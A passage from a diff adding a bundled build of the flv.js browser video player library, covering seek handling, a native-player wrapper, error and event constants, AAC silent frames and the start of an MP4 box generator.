window.clearInterval(this._progressChecker); + this._progressChecker = null; + if (needResume) { + _logger2.default.v(this.TAG, 'Continue loading from paused position'); + this._transmuxer.resume(); + } + } + } + }, { + key: '_isTimepointBuffered', + value: function _isTimepointBuffered(seconds) { + var buffered = this._mediaElement.buffered; + + for (var i = 0; i < buffered.length; i++) { + var from = buffered.start(i); + var to = buffered.end(i); + if (seconds >= from && seconds < to) { + return true; + } + } + return false; + } + }, { + key: '_internalSeek', + value: function _internalSeek(seconds) { + var directSeek = this._isTimepointBuffered(seconds); + + var directSeekBegin = false; + var directSeekBeginTime = 0; + + if (seconds < 1.0 && this._mediaElement.buffered.length > 0) { + var videoBeginTime = this._mediaElement.buffered.start(0); + if (videoBeginTime < 1.0 && seconds < videoBeginTime || _browser2.default.safari) { + directSeekBegin = true; + // also workaround for Safari: Seek to 0 may cause video stuck, use 0.1 to avoid + directSeekBeginTime = _browser2.default.safari ? 0.1 : videoBeginTime; + } + } + + if (directSeekBegin) { + // seek to video begin, set currentTime directly if beginPTS buffered + this._requestSetTime = true; + this._mediaElement.currentTime = directSeekBeginTime; + } else if (directSeek) { + // buffered position + if (!this._alwaysSeekKeyframe) { + this._requestSetTime = true; + this._mediaElement.currentTime = seconds; + } else { + var idr = this._msectl.getNearestKeyframe(Math.floor(seconds * 1000)); + this._requestSetTime = true; + if (idr != null) { + this._mediaElement.currentTime = idr.dts / 1000; + } else { + this._mediaElement.currentTime = seconds; + } + } + if (this._progressChecker != null) { + this._checkProgressAndResume(); + } + } else { + if (this._progressChecker != null) { + window.clearInterval(this._progressChecker); + this._progressChecker = null; + } + this._msectl.seek(seconds); + this._transmuxer.seek(Math.floor(seconds * 1000)); // in milliseconds + // no need to set mediaElement.currentTime if non-accurateSeek, + // just wait for the recommend_seekpoint callback + if (this._config.accurateSeek) { + this._requestSetTime = true; + this._mediaElement.currentTime = seconds; + } + } + } + }, { + key: '_checkAndApplyUnbufferedSeekpoint', + value: function _checkAndApplyUnbufferedSeekpoint() { + if (this._seekpointRecord) { + if (this._seekpointRecord.recordTime <= this._now() - 100) { + var target = this._mediaElement.currentTime; + this._seekpointRecord = null; + if (!this._isTimepointBuffered(target)) { + if (this._progressChecker != null) { + window.clearTimeout(this._progressChecker); + this._progressChecker = null; + } + // .currentTime is consists with .buffered timestamp + // Chrome/Edge use DTS, while FireFox/Safari use PTS + this._msectl.seek(target); + this._transmuxer.seek(Math.floor(target * 1000)); + // set currentTime if accurateSeek, or wait for recommend_seekpoint callback + if (this._config.accurateSeek) { + this._requestSetTime = true; + this._mediaElement.currentTime = target; + } + } + } else { + window.setTimeout(this._checkAndApplyUnbufferedSeekpoint.bind(this), 50); + } + } + } + }, { + key: '_checkAndResumeStuckPlayback', + value: function _checkAndResumeStuckPlayback(stalled) { + var media = this._mediaElement; + if (stalled || !this._receivedCanPlay || media.readyState < 2) { + // HAVE_CURRENT_DATA + var buffered = media.buffered; + if (buffered.length > 0 && media.currentTime < buffered.start(0)) { + _logger2.default.w(this.TAG, 'Playback seems stuck at ' + media.currentTime + ', seek to ' + buffered.start(0)); + this._requestSetTime = true; + this._mediaElement.currentTime = buffered.start(0); + this._mediaElement.removeEventListener('progress', this.e.onvProgress); + } + } else { + // Playback didn't stuck, remove progress event listener + this._mediaElement.removeEventListener('progress', this.e.onvProgress); + } + } + }, { + key: '_onvLoadedMetadata', + value: function _onvLoadedMetadata(e) { + if (this._pendingSeekTime != null) { + this._mediaElement.currentTime = this._pendingSeekTime; + this._pendingSeekTime = null; + } + } + }, { + key: '_onvSeeking', + value: function _onvSeeking(e) { + // handle seeking request from browser's progress bar + var target = this._mediaElement.currentTime; + var buffered = this._mediaElement.buffered; + + if (this._requestSetTime) { + this._requestSetTime = false; + return; + } + + if (target < 1.0 && buffered.length > 0) { + // seek to video begin, set currentTime directly if beginPTS buffered + var videoBeginTime = buffered.start(0); + if (videoBeginTime < 1.0 && target < videoBeginTime || _browser2.default.safari) { + this._requestSetTime = true; + // also workaround for Safari: Seek to 0 may cause video stuck, use 0.1 to avoid + this._mediaElement.currentTime = _browser2.default.safari ? 0.1 : videoBeginTime; + return; + } + } + + if (this._isTimepointBuffered(target)) { + if (this._alwaysSeekKeyframe) { + var idr = this._msectl.getNearestKeyframe(Math.floor(target * 1000)); + if (idr != null) { + this._requestSetTime = true; + this._mediaElement.currentTime = idr.dts / 1000; + } + } + if (this._progressChecker != null) { + this._checkProgressAndResume(); + } + return; + } + + this._seekpointRecord = { + seekPoint: target, + recordTime: this._now() + }; + window.setTimeout(this._checkAndApplyUnbufferedSeekpoint.bind(this), 50); + } + }, { + key: '_onvCanPlay', + value: function _onvCanPlay(e) { + this._receivedCanPlay = true; + this._mediaElement.removeEventListener('canplay', this.e.onvCanPlay); + } + }, { + key: '_onvStalled', + value: function _onvStalled(e) { + this._checkAndResumeStuckPlayback(true); + } + }, { + key: '_onvProgress', + value: function _onvProgress(e) { + this._checkAndResumeStuckPlayback(); + } + }, { + key: 'type', + get: function get() { + return this._type; + } + }, { + key: 'buffered', + get: function get() { + return this._mediaElement.buffered; + } + }, { + key: 'duration', + get: function get() { + return this._mediaElement.duration; + } + }, { + key: 'volume', + get: function get() { + return this._mediaElement.volume; + }, + set: function set(value) { + this._mediaElement.volume = value; + } + }, { + key: 'muted', + get: function get() { + return this._mediaElement.muted; + }, + set: function set(muted) { + this._mediaElement.muted = muted; + } + }, { + key: 'currentTime', + get: function get() { + if (this._mediaElement) { + return this._mediaElement.currentTime; + } + return 0; + }, + set: function set(seconds) { + if (this._mediaElement) { + this._internalSeek(seconds); + } else { + this._pendingSeekTime = seconds; + } + } + }, { + key: 'mediaInfo', + get: function get() { + return Object.assign({}, this._mediaInfo); + } + }, { + key: 'statisticsInfo', + get: function get() { + if (this._statisticsInfo == null) { + this._statisticsInfo = {}; + } + this._statisticsInfo = this._fillStatisticsInfo(this._statisticsInfo); + return Object.assign({}, this._statisticsInfo); + } + }]); + + return FlvPlayer; + }(); + + exports.default = FlvPlayer; + +},{"../config.js":5,"../core/mse-controller.js":9,"../core/mse-events.js":10,"../core/transmuxer.js":11,"../core/transmuxing-events.js":13,"../utils/browser.js":39,"../utils/exception.js":40,"../utils/logger.js":41,"./player-errors.js":34,"./player-events.js":35,"events":2}],33:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _events = _dereq_('events'); + + var _events2 = _interopRequireDefault(_events); + + var _playerEvents = _dereq_('./player-events.js'); + + var _playerEvents2 = _interopRequireDefault(_playerEvents); + + var _config = _dereq_('../config.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + +// Player wrapper for browser's native player (HTMLVideoElement) without MediaSource src. + var NativePlayer = function () { + function NativePlayer(mediaDataSource, config) { + _classCallCheck(this, NativePlayer); + + this.TAG = 'NativePlayer'; + this._type = 'NativePlayer'; + this._emitter = new _events2.default(); + + this._config = (0, _config.createDefaultConfig)(); + if ((typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object') { + Object.assign(this._config, config); + } + + if (mediaDataSource.type.toLowerCase() === 'flv') { + throw new _exception.InvalidArgumentException('NativePlayer does\'t support flv MediaDataSource input!'); + } + if (mediaDataSource.hasOwnProperty('segments')) { + throw new _exception.InvalidArgumentException('NativePlayer(' + mediaDataSource.type + ') doesn\'t support multipart playback!'); + } + + this.e = { + onvLoadedMetadata: this._onvLoadedMetadata.bind(this) + }; + + this._pendingSeekTime = null; + this._statisticsReporter = null; + + this._mediaDataSource = mediaDataSource; + this._mediaElement = null; + } + + _createClass(NativePlayer, [{ + key: 'destroy', + value: function destroy() { + if (this._mediaElement) { + this.unload(); + this.detachMediaElement(); + } + this.e = null; + this._mediaDataSource = null; + this._emitter.removeAllListeners(); + this._emitter = null; + } + }, { + key: 'on', + value: function on(event, listener) { + var _this = this; + + if (event === _playerEvents2.default.MEDIA_INFO) { + if (this._mediaElement != null && this._mediaElement.readyState !== 0) { + // HAVE_NOTHING + Promise.resolve().then(function () { + _this._emitter.emit(_playerEvents2.default.MEDIA_INFO, _this.mediaInfo); + }); + } + } else if (event === _playerEvents2.default.STATISTICS_INFO) { + if (this._mediaElement != null && this._mediaElement.readyState !== 0) { + Promise.resolve().then(function () { + _this._emitter.emit(_playerEvents2.default.STATISTICS_INFO, _this.statisticsInfo); + }); + } + } + this._emitter.addListener(event, listener); + } + }, { + key: 'off', + value: function off(event, listener) { + this._emitter.removeListener(event, listener); + } + }, { + key: 'attachMediaElement', + value: function attachMediaElement(mediaElement) { + this._mediaElement = mediaElement; + mediaElement.addEventListener('loadedmetadata', this.e.onvLoadedMetadata); + + if (this._pendingSeekTime != null) { + try { + mediaElement.currentTime = this._pendingSeekTime; + this._pendingSeekTime = null; + } catch (e) { + // IE11 may throw InvalidStateError if readyState === 0 + // Defer set currentTime operation after loadedmetadata + } + } + } + }, { + key: 'detachMediaElement', + value: function detachMediaElement() { + if (this._mediaElement) { + this._mediaElement.src = ''; + this._mediaElement.removeAttribute('src'); + this._mediaElement.removeEventListener('loadedmetadata', this.e.onvLoadedMetadata); + this._mediaElement = null; + } + if (this._statisticsReporter != null) { + window.clearInterval(this._statisticsReporter); + this._statisticsReporter = null; + } + } + }, { + key: 'load', + value: function load() { + if (!this._mediaElement) { + throw new _exception.IllegalStateException('HTMLMediaElement must be attached before load()!'); + } + this._mediaElement.src = this._mediaDataSource.url; + + if (this._mediaElement.readyState > 0) { + this._mediaElement.currentTime = 0; + } + + this._mediaElement.preload = 'auto'; + this._mediaElement.load(); + this._statisticsReporter = window.setInterval(this._reportStatisticsInfo.bind(this), this._config.statisticsInfoReportInterval); + } + }, { + key: 'unload', + value: function unload() { + if (this._mediaElement) { + this._mediaElement.src = ''; + this._mediaElement.removeAttribute('src'); + } + if (this._statisticsReporter != null) { + window.clearInterval(this._statisticsReporter); + this._statisticsReporter = null; + } + } + }, { + key: 'play', + value: function play() { + return this._mediaElement.play(); + } + }, { + key: 'pause', + value: function pause() { + this._mediaElement.pause(); + } + }, { + key: '_onvLoadedMetadata', + value: function _onvLoadedMetadata(e) { + if (this._pendingSeekTime != null) { + this._mediaElement.currentTime = this._pendingSeekTime; + this._pendingSeekTime = null; + } + this._emitter.emit(_playerEvents2.default.MEDIA_INFO, this.mediaInfo); + } + }, { + key: '_reportStatisticsInfo', + value: function _reportStatisticsInfo() { + this._emitter.emit(_playerEvents2.default.STATISTICS_INFO, this.statisticsInfo); + } + }, { + key: 'type', + get: function get() { + return this._type; + } + }, { + key: 'buffered', + get: function get() { + return this._mediaElement.buffered; + } + }, { + key: 'duration', + get: function get() { + return this._mediaElement.duration; + } + }, { + key: 'volume', + get: function get() { + return this._mediaElement.volume; + }, + set: function set(value) { + this._mediaElement.volume = value; + } + }, { + key: 'muted', + get: function get() { + return this._mediaElement.muted; + }, + set: function set(muted) { + this._mediaElement.muted = muted; + } + }, { + key: 'currentTime', + get: function get() { + if (this._mediaElement) { + return this._mediaElement.currentTime; + } + return 0; + }, + set: function set(seconds) { + if (this._mediaElement) { + this._mediaElement.currentTime = seconds; + } else { + this._pendingSeekTime = seconds; + } + } + }, { + key: 'mediaInfo', + get: function get() { + var mediaPrefix = this._mediaElement instanceof HTMLAudioElement ? 'audio/' : 'video/'; + var info = { + mimeType: mediaPrefix + this._mediaDataSource.type + }; + if (this._mediaElement) { + info.duration = Math.floor(this._mediaElement.duration * 1000); + if (this._mediaElement instanceof HTMLVideoElement) { + info.width = this._mediaElement.videoWidth; + info.height = this._mediaElement.videoHeight; + } + } + return info; + } + }, { + key: 'statisticsInfo', + get: function get() { + var info = { + playerType: this._type, + url: this._mediaDataSource.url + }; + + if (!(this._mediaElement instanceof HTMLVideoElement)) { + return info; + } + + var hasQualityInfo = true; + var decoded = 0; + var dropped = 0; + + if (this._mediaElement.getVideoPlaybackQuality) { + var quality = this._mediaElement.getVideoPlaybackQuality(); + decoded = quality.totalVideoFrames; + dropped = quality.droppedVideoFrames; + } else if (this._mediaElement.webkitDecodedFrameCount != undefined) { + decoded = this._mediaElement.webkitDecodedFrameCount; + dropped = this._mediaElement.webkitDroppedFrameCount; + } else { + hasQualityInfo = false; + } + + if (hasQualityInfo) { + info.decodedFrames = decoded; + info.droppedFrames = dropped; + } + + return info; + } + }]); + + return NativePlayer; + }(); + + exports.default = NativePlayer; + +},{"../config.js":5,"../utils/exception.js":40,"./player-events.js":35,"events":2}],34:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.ErrorDetails = exports.ErrorTypes = undefined; + + var _loader = _dereq_('../io/loader.js'); + + var _demuxErrors = _dereq_('../demux/demux-errors.js'); + + var _demuxErrors2 = _interopRequireDefault(_demuxErrors); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var ErrorTypes = exports.ErrorTypes = { + NETWORK_ERROR: 'NetworkError', + MEDIA_ERROR: 'MediaError', + OTHER_ERROR: 'OtherError' + }; + + var ErrorDetails = exports.ErrorDetails = { + NETWORK_EXCEPTION: _loader.LoaderErrors.EXCEPTION, + NETWORK_STATUS_CODE_INVALID: _loader.LoaderErrors.HTTP_STATUS_CODE_INVALID, + NETWORK_TIMEOUT: _loader.LoaderErrors.CONNECTING_TIMEOUT, + NETWORK_UNRECOVERABLE_EARLY_EOF: _loader.LoaderErrors.UNRECOVERABLE_EARLY_EOF, + + MEDIA_MSE_ERROR: 'MediaMSEError', + + MEDIA_FORMAT_ERROR: _demuxErrors2.default.FORMAT_ERROR, + MEDIA_FORMAT_UNSUPPORTED: _demuxErrors2.default.FORMAT_UNSUPPORTED, + MEDIA_CODEC_UNSUPPORTED: _demuxErrors2.default.CODEC_UNSUPPORTED + }; + +},{"../demux/demux-errors.js":16,"../io/loader.js":24}],35:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var PlayerEvents = { + ERROR: 'error', + LOADING_COMPLETE: 'loading_complete', + RECOVERED_EARLY_EOF: 'recovered_early_eof', + MEDIA_INFO: 'media_info', + METADATA_ARRIVED: 'metadata_arrived', + SCRIPTDATA_ARRIVED: 'scriptdata_arrived', + STATISTICS_INFO: 'statistics_info' + }; + + exports.default = PlayerEvents; + +},{}],36:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * This file is modified from dailymotion's hls.js library (hls.js/src/helper/aac.js) + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var AAC = function () { + function AAC() { + _classCallCheck(this, AAC); + } + + _createClass(AAC, null, [{ + key: 'getSilentFrame', + value: function getSilentFrame(codec, channelCount) { + if (codec === 'mp4a.40.2') { + // handle LC-AAC + if (channelCount === 1) { + return new Uint8Array([0x00, 0xc8, 0x00, 0x80, 0x23, 0x80]); + } else if (channelCount === 2) { + return new Uint8Array([0x21, 0x00, 0x49, 0x90, 0x02, 0x19, 0x00, 0x23, 0x80]); + } else if (channelCount === 3) { + return new Uint8Array([0x00, 0xc8, 0x00, 0x80, 0x20, 0x84, 0x01, 0x26, 0x40, 0x08, 0x64, 0x00, 0x8e]); + } else if (channelCount === 4) { + return new Uint8Array([0x00, 0xc8, 0x00, 0x80, 0x20, 0x84, 0x01, 0x26, 0x40, 0x08, 0x64, 0x00, 0x80, 0x2c, 0x80, 0x08, 0x02, 0x38]); + } else if (channelCount === 5) { + return new Uint8Array([0x00, 0xc8, 0x00, 0x80, 0x20, 0x84, 0x01, 0x26, 0x40, 0x08, 0x64, 0x00, 0x82, 0x30, 0x04, 0x99, 0x00, 0x21, 0x90, 0x02, 0x38]); + } else if (channelCount === 6) { + return new Uint8Array([0x00, 0xc8, 0x00, 0x80, 0x20, 0x84, 0x01, 0x26, 0x40, 0x08, 0x64, 0x00, 0x82, 0x30, 0x04, 0x99, 0x00, 0x21, 0x90, 0x02, 0x00, 0xb2, 0x00, 0x20, 0x08, 0xe0]); + } + } else { + // handle HE-AAC (mp4a.40.5 / mp4a.40.29) + if (channelCount === 1) { + // ffmpeg -y -f lavfi -i "aevalsrc=0:d=0.05" -c:a libfdk_aac -profile:a aac_he -b:a 4k output.aac && hexdump -v -e '16/1 "0x%x," "\n"' -v output.aac + return new Uint8Array([0x1, 0x40, 0x22, 0x80, 0xa3, 0x4e, 0xe6, 0x80, 0xba, 0x8, 0x0, 0x0, 0x0, 0x1c, 0x6, 0xf1, 0xc1, 0xa, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5e]); + } else if (channelCount === 2) { + // ffmpeg -y -f lavfi -i "aevalsrc=0|0:d=0.05" -c:a libfdk_aac -profile:a aac_he_v2 -b:a 4k output.aac && hexdump -v -e '16/1 "0x%x," "\n"' -v output.aac + return new Uint8Array([0x1, 0x40, 0x22, 0x80, 0xa3, 0x5e, 0xe6, 0x80, 0xba, 0x8, 0x0, 0x0, 0x0, 0x0, 0x95, 0x0, 0x6, 0xf1, 0xa1, 0xa, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5e]); + } else if (channelCount === 3) { + // ffmpeg -y -f lavfi -i "aevalsrc=0|0|0:d=0.05" -c:a libfdk_aac -profile:a aac_he_v2 -b:a 4k output.aac && hexdump -v -e '16/1 "0x%x," "\n"' -v output.aac + return new Uint8Array([0x1, 0x40, 0x22, 0x80, 0xa3, 0x5e, 0xe6, 0x80, 0xba, 0x8, 0x0, 0x0, 0x0, 0x0, 0x95, 0x0, 0x6, 0xf1, 0xa1, 0xa, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5a, 0x5e]); + } + } + return null; + } + }]); + + return AAC; + }(); + + exports.default = AAC; + +},{}],37:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * This file is derived from dailymotion's hls.js library (hls.js/src/remux/mp4-generator.js) + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// MP4 boxes generator for ISO BMFF (ISO Base Media File Format, defined in ISO/IEC 14496-12) + var MP4 = function () { + function MP4() { + _classCallCheck(this, MP4); + } + + _createClass(MP4, null, [{ + key: 'init', + value: function init() { + MP4.types = { + avc1: [], avcC: [], btrt: [], dinf: [], + dref: [], esds: [], ftyp: [], hdlr: [], + mdat: [], mdhd: [], mdia: [], mfhd: [], + minf: [], moof: [], moov: [], mp4a: [], + mvex: [], mvhd: [], sdtp: [], stbl: [], + stco: [], stsc: [], stsd: [], stsz: [], + stts: [], tfdt: [], tfhd: [], traf: [], + trak: [], trun: [], trex: [], tkhd: [], + vmhd: [], smhd: [], '.mp3': [] + }; + + for (var name in MP4.types) { + if (MP4.types.hasOwnProperty(name)) { + MP4.types[name] = [name.charCodeAt(0), name.charCodeAt(1), name.charCodeAt(2), name.charCodeAt(3)]; + } + } + + var constants = MP4.constants = {}; + + constants.FTYP = new Uint8Array([0x69, 0x73, 0x6F, 0x6D, // major_brand: isom + 0x0, 0x0, 0x0, 0x1, // minor_version: 0x01 + 0x69, 0x73, 0x6F, 0x6D, // isom + 0x61, 0x76, 0x63, 0x31 // avc1 + ]); + + constants.STSD_PREFIX = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x01 // entry_count + ]); + + constants.STTS = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x00 // entry_count + ]); + + constants.STSC = constants.STCO = constants.STTS; + + constants.STSZ = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x00, // sample_size + 0x00, 0x00, 0x00, 0x00 // sample_count + ]); + + constants.HDLR_VIDEO = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x00, // pre_defined + 0x76, 0x69, 0x64, 0x65, // handler_type: 'vide' + 0x00, 0x00, 0x00, 0x00, // reserved: 3 * 4 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x69, 0x64, 0x65, 0x6F, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00 // name: VideoHandler + ]); + + constants.HDLR_AUDIO = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x00, // pre_defined + 0x73, 0x6F, 0x75, 0x6E, // handler_type: 'soun' + 0x00, 0x00, 0x00, 0x00, // reserved: 3 * 4 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6F, 0x75, 0x6E, 0x64, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00 // name: SoundHandler + ]); + + constants.DREF = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x01, // entry_count + 0x00, 0x00, 0x00, 0x0C, // entry_size + 0x75, 0x72, 0x6C, 0x20, // type 'url ' + 0x00, 0x00, 0x00, 0x01 // version(0) + flags + ]); + + // Sound media header + constants.SMHD = new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x00 // balance(2) + reserved(2) + ]); + + // video media header + constants.VMHD = new Uint8Array([0x00, 0x00, 0x00, 0x01, // version(0) + flags + 0x00, 0x00, // graphicsmode: 2 bytes + 0x00, 0x00, 0x00, 0x00, // opcolor: 3 * 2 bytes + 0x00, 0x00]); + } + + // Generate a box + + }, { + key: 'box', + value: function box(type) { + var size = 8; + var result = null; + var datas = Array.prototype.slice.call(arguments, 1); + var arrayCount = datas.length; + + for (var i = 0; i < arrayCount; i++) { + size += datas[i].byteLength; + } + + result = new Uint8Array(size); + result[0] = size >>> 24 & 0xFF; // size + result[1] = size >>> 16 & 0xFF; + result[2] = size >>> 8 & 0xFF; + result[3] = size & 0xFF; + + result.set(type, 4); // type + + var offset = 8; + for (var _i = 0; _i < arrayCount; _i++) { + // data body + result.set(datas[_i], offset); + offset += datas[_i].byteLength; + } + + return result; + } + + // emit ftyp & moov + + }, { + key: 'generateInitSegment', + value: function generateInitSegment(meta) { + var ftyp = MP4.box(MP4.types.ftyp, MP4.constants.FTYP); + var moov = MP4.moov(meta); + + var result = new Uint8Array(ftyp.byteLength + moov.byteLength); + result.set(ftyp, 0); + result.set(moov, ftyp.byteLength); + return result; + } + + // Movie metadata box + + }, { + key: 'moov', + value: function moov(meta) { + var mvhd = MP4.mvhd(meta.timescale, meta.duration); + var trak = MP4.trak(meta); + var mvex = MP4.mvex(meta); + return MP4.box(MP4.types.moov, mvhd, trak, mvex); + } + + // Movie header box + + }, { + key: 'mvhd', + value: function mvhd(timescale, duration) { + return MP4.box(MP4.types.mvhd, new Uint8Array([0x00, 0x00, 0x00, 0x00, // version(0) + flags + 0x00, 0x00, 0x00, 0x00, // creation_time + 0x00, 0x00, 0x00, 0x00, // modification_time + timescale >>> 24 & 0xFF, // timescale: 4 bytes + timescale >>> 16 & 0xFF, timescale >>> 8 & 0xFF, timescale & 0xFF, duration >>> 24 & 0xFF, // duration: 4 bytes + duration >>> 16 & 0xFF, duration >>> 8 & 0xFF, duration & 0xFF, 0x00, 0x01, 0x00, 0x00, // Preferred rate: 1.0 + 0x01, 0x00, 0x00, 0x00, // PreferredVolume(1.0, 2bytes) + reserved(2bytes) + 0x00, 0x00, 0x00, 0x00, // reserved: 4 + 4 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, // ----begin composition matrix---- + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, // ----end composition matrix---- + 0x00, 0x00, 0x00, 0x00, // ----begin pre_defined 6 * 4 bytes---- + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // ----end pre_defined 6 * 4 bytes---- + 0xFF, 0xFF, 0xFF, 0xFF // next_track_ID + ])); + } + + // Track box + + }, { + key: 'trak', + value: function trak(meta) { + return MP4.box(MP4.types.trak, 